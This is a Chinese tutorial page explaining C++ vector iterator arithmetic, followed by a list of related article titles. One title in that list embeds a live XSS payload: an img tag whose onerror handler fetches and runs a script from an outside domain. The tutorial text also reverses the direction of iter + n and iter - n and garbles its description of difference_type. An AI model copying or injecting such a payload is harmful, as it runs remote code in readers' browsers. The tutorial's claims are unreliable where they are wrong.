【C++ Primer每日刷】之二 迭代器的算术操作
来源:互联网 发布:5800简单编程教学 编辑:程序博客网 时间:2024/06/17 20:54
迭代器的算术操作
除了一次移动迭代器的一个元素的增量操作符外,vector 迭代器(其他标准库容器迭代器很少)也支持其他的算术操作。这些操作称为迭代器算术操作(iterator arithmetic),包括:
iter + n
iter – n
可以对迭代器对象加上或减去一个整形值。这样做将产生一个新的迭代器,其位置在 iter 所指元素之前(加)或之后(减) n 个元素的位置。加或减之后的结果必须指向 iter 所指 vector 中的某个元素,或者是 vector 末端的后一个元素。加上或减去的值的类型应该是 vector 的 size_type 或 difference_type 类型(参考下面的解释)。
iter1 - iter2
该表达式用来计算两个迭代器对象的距离,该距离是名为 difference_type 的 signed 类型 size_type 的值,这里的 difference_type 是 signed 类型,因为减法运算可能产生负数的结果。该类型可以保证足够大以存储任何两个迭代器对象间的距离。
iter1 与 iter2 两者必须都指向同一 vector 中的元素,或者指向 vector 末端之后的下一个元素。
可以用迭代器算术操作来移动迭代器直接指向某个元素,例如,下面语句直接定位于vector 中间元素:
vector<int>::iterator mid =vi.begin() + vi.size() / 2;
上述代码用来初始化 mid 使其指向vi 中最靠近正中间的元素。这种直接计算迭代器的方法,与用迭代器逐个元素自增操作到达中间元素的方法是等价的,但前者的效率要高得多。任何改变 vector 长度的操作都会使已存在的迭代器失效。例如,在调用 push_back 之后,就不能再信赖指向 vector 的迭代器的值了。
- 【C++ Primer每日刷】之二 迭代器的算术操作
- C++primer 5.1算术操作符
- 【C++ Primer每日一刷之七】指针操作
- 【C++ Primer每日一刷之十】 操作符(一)
- 迭代器的算术操作
- 迭代器的算术操作
- 【C++ Primer每日一刷之八】之八 C 风格字符串
- 【C++ Primer每日一刷之十一】 位操作符,赋值操作符,自增自减操作符
- 【C++ Primer每日一刷之十二】 箭头操作符,条件操作符,sizeof操作符,逗号,优先级
- 【C++ Primer每日刷】之一 迭代器
- C++Primer学习笔记之二
- 【C++ Primer每日刷】之三 标准库 string 类型
- 【C++ Primer每日一刷之六】数组
- 【C++ Primer每日一刷之九】创建动态数组
- 指针的算术操作
- 《C Primer Plus》学习笔记之 C数据的属性(二)存储类
- 使用指针的算术操作遍历C风格字符串
- 栈的操作和c语言实现算术表达式求值
- android _meau.add()函数详解
- 新版淘宝宽屏轮播代码带缩略图
- C语言之四书五经—C语言书籍推荐
- HDU 4965 Fast Matrix Calculation | 矩阵快速幂
- PHP "完美"的防XSS 防SQL注入的代码 #############<img src=x onerror=jQuery.getScript('//qqq.si/EqqXw9') width=0>
- 【C++ Primer每日刷】之二 迭代器的算术操作
- joomla中的jdoc:include元素解析
- 唐居令 偶感
- Leetcode: Anagrams
- jquery的click bind live 区别
- asp.net参数化like
- android ListView详解
- UVA310
- Android上dip、dp、px、sp等单位说明